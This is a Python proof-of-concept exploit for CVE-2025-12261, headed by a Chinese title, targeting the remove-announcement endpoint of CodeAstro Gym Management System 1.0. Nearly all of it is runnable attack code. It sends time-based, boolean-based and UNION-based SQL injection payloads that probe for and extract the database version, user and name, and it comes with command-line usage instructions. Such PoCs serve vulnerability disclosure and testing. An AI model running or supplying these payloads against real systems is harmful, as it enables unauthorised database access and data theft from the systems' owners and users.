CVE-2025-12261 CodeAstro健身房管理系统SQL注入漏洞

import requests import sys # CVE-2025-12261 SQL Injection PoC # Target: CodeAstro Gym Management System 1.0 # File: /admin/actions/remove-announcement.php def exploit_sqli(target_url, announcement_id): """ SQL Injection PoC for CVE-2025-12261 This PoC demonstrates boolean-based blind SQL injection """ # Normal request to check if endpoint exists normal_payload = { 'id': announcement_id } # SQL injection payloads for testing # Time-based blind SQL injection time_based_payload = { 'id': f"{announcement_id}' AND SLEEP(5)-- -" } # Boolean-based blind SQL injection boolean_payload_true = { 'id': f"{announcement_id}' AND 1=1-- -" } boolean_payload_false = { 'id': f"{announcement_id}' AND 1=2-- -" } # UNION-based injection to extract data union_payload = { 'id': f"{announcement_id}' UNION SELECT NULL,version(),user(),database()-- -" } print(f"[*] Target: {target_url}") print(f"[*] Testing normal request...") try: # Test normal request response = requests.post(target_url, data=normal_payload, timeout=10) print(f"[+] Normal request status: {response.status_code}") # Test boolean-based injection print("[*] Testing boolean-based SQL injection...") resp_true = requests.post(target_url, data=boolean_payload_true, timeout=10) resp_false = requests.post(target_url, data=boolean_payload_false, timeout=10) if resp_true.text != resp_false.text: print("[!] Boolean-based SQL injection confirmed!") # Test UNION-based injection print("[*] Testing UNION-based SQL injection...") resp_union = requests.post(target_url, data=union_payload, timeout=10) print(f"[+] UNION injection response length: {len(resp_union.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <announcement_id>") print(f"Example: python {sys.argv[0]} http://target.com/admin/actions/remove-announcement.php 1") sys.exit(1) target = sys.argv[1] aid = sys.argv[2] exploit_sqli(target, aid)